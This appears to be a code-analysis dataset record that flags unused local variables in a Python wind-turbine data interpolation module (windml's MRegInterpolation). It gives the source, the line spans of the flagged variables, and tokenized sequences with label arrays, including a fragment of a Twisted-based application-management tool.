"\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "process_", "in_", "App", "Process_", "._", "objects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "process_", "._", "local", "Install_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "process_", "._", "running_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "App", "Process_", "._", "delete_", "(_", "process_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "(_", "'", "process", " ", "book", " ", "keep", "ing", " ", "error", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "d_", "=_", "defer_", "._", "Deferred_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "._", "reactor_", "._", "call", "Later_", "(_", "0.01_", ",_", "d_", "._", "callback_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wf", "d_", "=_", "defer_", "._", "wait", "For", "Deferred_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "wf", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wf", "d_", "._", "get", "Result_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "first", "\\u", "run_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "'", "don", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Applica", "tion", "Loader_", "(_", "Service_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "defer_", "._", "defer", "red", "Generator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "alla", "pps", "\\u", "action_", "(_", "self_", ",_", "args", "tr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Us", "age", " ", "alla", "pps", ":", " ", "<", "method", ">", " ", "[", "args", "]", "\\", "10", ";", "\\", "10", ";", " ", " ", "dispatch", " ", "the", " ", "same", " ", "command", " ", "to", " ", "all", " ", "applica", "tion", " ", "manage", "rs", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "<", "method", ">", "\t", "method", " ", "to", " ", "invoke", " ", "on", " ", "all", " ", "app", "manage", "rs", ".", "\\", "10", ";", " ", " ", " ", " ", "[", "args", "]", "\t", "option", "al", " ", "argu", "ment", "s", " ", "to", " ", "pass", " ", "along", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "example", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "''", " ", " ", " ", " ", "#", "show", "s", " ", "help", " ", "documentation", " ", "for", " ", "all", " ", "applica", "tion", "s", "\\", "10", ";", " ", " ", " ", " ", "'", "status", "'", " ", " ", "#", "invoke", " ", "status", " ", "assume", "s", " ", "there", " ", "is", " ", "only", " ", "one", " ", "instance", "\\", "10", ";", " ", " ", " ", " ", "'", "status", " ", "all", "'", " ", " ", "#", "invoke", " ", "status", " ", "on", " ", "all", " ", "applica", "tion", " ", "instance", "s", "\\", "10", ";", " ", " ", " ", " ", "'", "status", " ", "0", "'", " ", " ", " ", " ", "#", "invoke", " ", "status", " ", "on", " ", "applica", "tion", " ", "instance", " ", "label", " ", "'", "0", "'", "\\", "10", ";", "\\", "10", ";", " ", " ", "full", " ", "cli", " ", "usage", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "$", " ", "drone", "blast", "er", " ", "alla", "pps", "\\", "10", ";", " ", " ", " ", " ", "$", " ", "drone", "blast", "er", " ", "alla", "pps", " ", "status", "\\", "10", ";", " ", " ", " ", " ", "$", " ", "drone", "blast", "er", " ", "alla", "pps", " ", "status", " ", "all", "\\", "10", ";", " ", " ", " ", " ", "$", " ", "drone", "blast", "er", " ", "alla", "pps", " ", "status", " ", "0", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "descriptions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "obj_", "in_", "App", "Manager_", "._", "objects_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "action_", "=_", "obj_", "._", "action_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "action_", ":_", "continue_", "#", "skip", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "action_", "(_", "args", "tr_", ")_", "#", "let", " ", "the", " ", "Admi", "n", "Action", " ", "Processe", "s", " ", "this_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wf", "d_", "=_", "defer_", "._", "wait", "For", "Deferred_", "(_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "wf", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "foo_", "=_", "wf", "d_", "._", "get", "Result_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "descriptions_", "._", "append_", "(_", "foo_", "._", "get_", "(_", "'", "description", "'_", ",_", "'", "Non", "e", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "+=_", "int_", "(_", "foo_", "._", "get_", "(_", "'", "code", "'_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "[_", "'", "description", "'_", "]_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "descriptions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "result_", "[_", "'", "description", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "[_", "'", "description", "'_", "]_", "=_", "'", "Non", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "[_", "'", "code", "'_", "]_", "=_", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
cigroup-ol/windml/windml/preprocessing/mreg_interpolation.py
[ { "content": " def multi_interpolate(self, timeseries, args):\n timestep = args['timestep']\n neighbor_series = args['neighbor_series']\n reg = args['reg']\n regargs = args['regargs']\n\n # order by damaged elements, ascending.\n mdf = MissingDataFinder()\n\n order = []\n for i in xrange(len(neighbor_series)):\n misses = mdf.find(neighbor_series[i], timestep)\n missing = sum(map(lambda m : m[2], misses))\n order.append((i, missing - i))\n\n sorted(order, key = lambda o : o[1])\n merge_order = map(lambda o : o[0], order)\n\n data = neighbor_series\n\n for i in xrange(len(data)):\n data[i] = OverrideMissing().override(data[i], timestep, -1)\n\n field = 'corrected_score'\n\n ## algorithm\n merged = []\n for m in merge_order:\n mseries = data[m]\n regressors = {}\n pattern_size = {}\n useful = {}\n repairable = {}\n misses = []\n available_in_c = {}\n cnt_patterns = {}\n\n for i in xrange(len(mseries)):\n if(mseries[i][field] == -1):\n if(i not in useful.keys()):\n useful[i] = []\n\n for c in merge_order:\n if(c == m or c in merged):\n continue # dont want merge with itself or merged\n cseries = data[c]\n cnt_patterns[c] = 0\n available_in_c[c] = []\n\n for i in xrange(len(mseries)):\n if(mseries[i][field] == -1 and cseries[i][field] != -1):\n if(i not in useful.keys()):\n useful[i] = []\n useful[i].append(c)\n continue # cannot be used as pattern but for predicting\n if(mseries[i][field] == -1 or cseries[i][field] == -1):\n continue # cannot be used as a pattern\n available_in_c[c].append(i)\n cnt_patterns[c] += 1\n\n # now check which one has most patterns from candidates of useful\n for missing, candidates in useful.iteritems():\n if(len(candidates) > 0): # we have candidates\n highest_ps = 0\n highest_candidate = None\n for candidate in candidates:\n if(cnt_patterns[candidate] > highest_ps):\n highest_ps = cnt_patterns[candidate]\n highest_candidate = candidate\n\n labels, patterns = [], []\n # use highest_candidate with merge\n ### FITTING\n for i in available_in_c[highest_candidate]:\n labels.append(mseries[i][field])\n pattern = []\n pattern.append(data[highest_candidate][i][field])\n for am in merged:\n pattern.append(data[am][i][field])\n patterns.append(pattern)\n if(reg == 'knn'):\n regargs = args['regargs']\n neighbors = regargs['n']\n variant = regargs['variant']\n regressor = KNeighborsRegressor(neighbors, variant)\n\n reg = regressor.fit(patterns, labels)\n\n ### PREDICTION\n pattern = []\n pattern.append(data[highest_candidate][missing][field])\n for am in merged:\n pattern.append(data[am][missing][field])\n data[m][missing][field] = reg.predict(pattern)\n else: # we have no candidates, and we use merged here\n ### FITTING\n labels, patterns = [],[]\n for i in range(len(mseries)):\n if(mseries[i][field] == -1):\n continue\n labels.append(mseries[i][field])\n pattern = []\n for am in merged:\n pattern.append(data[am][i][field])\n patterns.append(pattern)\n if(reg == 'knn'):\n regargs = args['regargs']\n neighbors = regargs['n']\n variant = regargs['variant']\n regressor = KNeighborsRegressor(neighbors, variant)\n reg = regressor.fit(patterns, labels)\n ### PREDICTION\n pattern = []\n for am in merged:\n pattern.append(data[am][missing][field])\n data[m][missing][field] = reg.predict(pattern)\n\n merged.append(m)\n\n # we used the interpolated information of all turbines to interpolate\n # the missing data of the target turbine.\n ovtimeseries = OverrideMissing().override(timeseries, timestep, -1)\n\n labels, patterns = [], []\n for i in xrange(len(timeseries)):\n if(timeseries[i][field] != -1):\n labels.append(ovtimeseries[i][field])\n pattern = []\n for series in data:\n pattern.append(series[i][field])\n patterns.append(pattern)\n if(reg == 'knn'):\n regargs = args['regargs']\n neighbors = regargs['n']\n variant = regargs['variant']\n regressor = KNeighborsRegressor(neighbors, variant)\n regressor.fit(patterns, labels)\n\n for i in xrange(len(ovtimeseries)):\n if(ovtimeseries[i][field] == -1):\n pattern = []\n for series in data:\n pattern.append(series[i][field])\n ovtimeseries[i][field] = regressor.predict(pattern)\n\n return ovtimeseries", "metadata": "root.MRegInterpolation.multi_interpolate", "header": "['class', 'MRegInterpolation', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '#@todo highly experimental', '___NL___', '___EOS___']", "index": 48 }, { "content": " def interpolate(self, timeseries, **args):\n cs = 'corrected_score'\n sp = 'speed'\n date = 'date'\n fields = ['corrected_score', 'speed']\n\n timestep = args['timestep']\n neighbor_series = args['neighbor_series']\n reg = args['reg']\n\n # override missing on neighbors\n lnseries = len(neighbor_series)\n # if neighbor missing raise exception\n for nseries in neighbor_series:\n misses = MissingDataFinder().find(nseries, timestep)\n if(len(misses) > 0):\n return self.multi_interpolate(timeseries, args)\n\n ovtimeseries = OverrideMissing().override(timeseries, timestep, -1)\n\n for field in fields:\n X, Y = [], []\n\n for t in xrange(len(neighbor_series[0])):\n if(ovtimeseries[t][field] != -1):\n Y.append(ovtimeseries[t][field])\n pattern = []\n for nseries in neighbor_series:\n pattern.append(nseries[t][field])\n X.append(pattern)\n\n Xa, Ya = array(X), array(Y)\n\n if(reg == 'knn'):\n regargs = args['regargs']\n variant = regargs['variant']\n\n if('kfold' in regargs.keys()):\n kfold = regargs['kfold']\n ncandidates = regargs['n']\n\n regressors = {}\n best_n = ncandidates[0]\n regressor = KNeighborsRegressor(best_n, variant)\n regressors[best_n] = regressor\n best_score = cross_val_score(regressor, Xa, Ya, cv=kfold).mean()\n\n for n in ncandidates[1:]: # try every n and use cross validation\n regressor = KNeighborsRegressor(n, variant)\n regressors[n] = regressor\n score = cross_val_score(regressor, Xa, Ya, cv=kfold).mean()\n if(score > best_score):\n best_n = n\n best_score = score\n regressor = regressors[best_n]\n else:\n neighbors = regargs['n']\n regressor = KNeighborsRegressor(neighbors, variant)\n\n elif(reg == 'linear_model'):\n regressor = linear_model.LinearRegression()\n elif(reg == 'svr'):\n regargs = args['regargs']\n\n if(regargs['cv_method'] == 'kfold'):\n fold = regargs['cv_args']['k_folds']\n pattern_count = Xa.shape[0]\n cv_method = KFold(pattern_count, fold)\n else:\n raise Exception(\"not implemented\")\n\n # search for the best parameters with crossvalidation.\n kernel, epsilon, tuned_parameters =\\\n regargs['kernel'], regargs['epsilon'], regargs['tuned_parameters']\n grid = GridSearchCV(SVR(kernel = kernel, epsilon = epsilon),\\\n param_grid = tuned_parameters, cv=cv_method, verbose = 0)\n\n grid.fit(Xa, Ya)\n\n # train a SVR regressor with best found parameters.\n regressor = SVR(kernel=kernel, epsilon=0.1, C = grid.best_params_['C'],\\\n gamma = grid.best_params_['gamma'])\n\n # if regressor hook function specified, call hook\n if('reghook' in args.keys()):\n args['reghook'](regressor)\n else:\n raise Exception(\"No regressor selected.\")\n\n regressor.fit(Xa,Ya)\n\n for t in xrange(len(ovtimeseries)):\n if(ovtimeseries[t][field] == -1):\n pattern = []\n for nseries in neighbor_series:\n pattern.append(nseries[t][field])\n y_hat = regressor.predict(array(pattern))\n if(len(y_hat.shape) > 0):\n ovtimeseries[t][field] = y_hat[0]\n else:\n ovtimeseries[t][field] = y_hat\n\n return ovtimeseries", "metadata": "root.MRegInterpolation.interpolate", "header": "['class', 'MRegInterpolation', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '#@todo highly experimental', '___NL___', '___EOS___']", "index": 195 } ]
[ { "span": "regressors ", "start_line": 77, "start_column": 12, "end_line": 77, "end_column": 22 }, { "span": "pattern_size ", "start_line": 78, "start_column": 12, "end_line": 78, "end_column": 24 }, { "span": "repairable ", "start_line": 80, "start_column": 12, "end_line": 80, "end_column": 22 }, { "span": "misses ", "start_line": 81, "start_column": 12, "end_line": 81, "end_column": 18 }, { "span": "cs ", "start_line": 196, "start_column": 8, "end_line": 196, "end_column": 10 }, { "span": "sp ", "start_line": 197, "start_column": 8, "end_line": 197, "end_column": 10 }, { "span": "date ", "start_line": 198, "start_column": 8, "end_line": 198, "end_column": 12 }, { "span": "lnseries ", "start_line": 206, "start_column": 8, "end_line": 206, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "MR", "eg", "Interpolation", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#@", "todo", " ", "highl", "y", " ", "experimental_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "multi", "\\u", "interpolate_", "(_", "self_", ",_", "timeseries_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "timestep_", "=_", "args_", "[_", "'", "timestep", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neighbor", "\\u", "series_", "=_", "args_", "[_", "'", "neighbor", "\\u", "series", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reg_", "=_", "args_", "[_", "'", "reg", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rega", "rgs_", "=_", "args_", "[_", "'", "rega", "rg", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "order", " ", "by", " ", "damage", "d", " ", "element", "s", ",", " ", "ascen", "ding", "._", "\\u\\u\\uNL\\u\\u\\u_", "md", "f_", "=_", "Missing", "Data", "Finder_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "order_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "neighbor", "\\u", "series_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "misses", "_", "=_", "md", "f_", "._", "find_", "(_", "neighbor", "\\u", "series_", "[_", "i_", "]_", ",_", "timestep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "missing_", "=_", "sum_", "(_", "map_", "(_", "lambda_", "m_", ":_", "m_", "[_", "2_", "]_", ",_", "misses", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "append_", "(_", "(_", "i_", ",_", "missing_", "-_", "i_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sorted_", "(_", "order_", ",_", "key_", "=_", "lambda_", "o_", ":_", "o_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "merge", "\\u", "order_", "=_", "map_", "(_", "lambda_", "o_", ":_", "o_", "[_", "0_", "]_", ",_", "order_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "neighbor", "\\u", "series_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "data_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "i_", "]_", "=_", "Override", "Missing", "_", "(_", ")_", "._", "override_", "(_", "data_", "[_", "i_", "]_", ",_", "timestep_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "field_", "=_", "'", "corrected", "\\u", "score", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "merged_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "merge", "\\u", "order_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mse", "ries_", "=_", "data_", "[_", "m_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern", "\\u", "size_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "usef", "ul_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repair", "able_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "misses", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avail", "able", "\\u", "in", "\\u", "c_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cnt", "\\u", "patterns_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "mse", "ries_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "mse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", "==_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "(_", "i_", "not_", "in_", "usef", "ul_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "usef", "ul_", "[_", "i_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "c_", "in_", "merge", "\\u", "order_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "c_", "==_", "m_", "or_", "c_", "in_", "merged_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "#", " ", "don", "t", " ", "want", " ", "merge", " ", "with", " ", "its", "elf", " ", "or", " ", "merged_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cse", "ries_", "=_", "data_", "[_", "c_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cnt", "\\u", "patterns_", "[_", "c_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "avail", "able", "\\u", "in", "\\u", "c_", "[_", "c_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "mse", "ries_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "(_", "mse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", "==_", "-_", "1_", "and_", "cse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", "!=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "(_", "i_", "not_", "in_", "usef", "ul_", "._", "keys_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "usef", "ul_", "[_", "i_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "usef", "ul_", "[_", "i_", "]_", "._", "append_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "#", " ", "cann", "ot", " ", "be", " ", "used", " ", "as", " ", "pattern", " ", "but", " ", "for", " ", "predicti", "ng_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "mse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", "==_", "-_", "1_", "or_", "cse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", "==_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "continue_", "#", " ", "cann", "ot", " ", "be", " ", "used", " ", "as", " ", "a", " ", "pattern_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "avail", "able", "\\u", "in", "\\u", "c_", "[_", "c_", "]_", "._", "append_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cnt", "\\u", "patterns_", "[_", "c_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "check", " ", "whi", "ch", " ", "one", " ", "has", " ", "most", " ", "pattern", "s", " ", "from", " ", "candidate", "s", " ", "of", " ", "usef", "ul_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "missing_", ",_", "candidates_", "in_", "usef", "ul_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "len_", "(_", "candidates_", ")_", ">_", "0_", ")_", ":_", "#", " ", "we", " ", "have", " ", "candidates_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "high", "est", "\\u", "ps_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "high", "est", "\\u", "candidate_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "candidate_", "in_", "candidates_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "(_", "cnt", "\\u", "patterns_", "[_", "candidate_", "]_", ">_", "high", "est", "\\u", "ps_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "high", "est", "\\u", "ps_", "=_", "cnt", "\\u", "patterns_", "[_", "candidate_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "high", "est", "\\u", "candidate_", "=_", "candidate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "labels_", ",_", "patterns_", "=_", "[_", "]_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "use", " ", "high", "est", "\\u", "candidate", " ", "with", " ", "merge_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "FIT", "TIN", "G_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "avail", "able", "\\u", "in", "\\u", "c_", "[_", "high", "est", "\\u", "candidate_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "labels_", "._", "append_", "(_", "mse", "ries_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pattern_", "._", "append_", "(_", "data_", "[_", "high", "est", "\\u", "candidate_", "]_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "am_", "in_", "merged_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pattern_", "._", "append_", "(_", "data_", "[_", "am_", "]_", "[_", "i_", "]_", "[_", "field_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "patterns_", "._", "append_", "(_", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "reg_", "==_", "'", "knn", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rega", "rgs_", "=_", "args_", "[_", "'", "rega", "rg", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "neighbors_", "=_", "rega", "rgs_", "[_", "'", "n", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "variant_", "=_", "rega", "rgs_", "[_", "'", "variant", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regressor", "_", "=_", "KN", "eig", "hbo", "rs", "Regressor_", "(_", "neighbors_", ",_", "variant_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "reg_", "=_", "regressor", "_", "._", "fit_", "(_", "patterns_", ",_", "labels_", ")_", 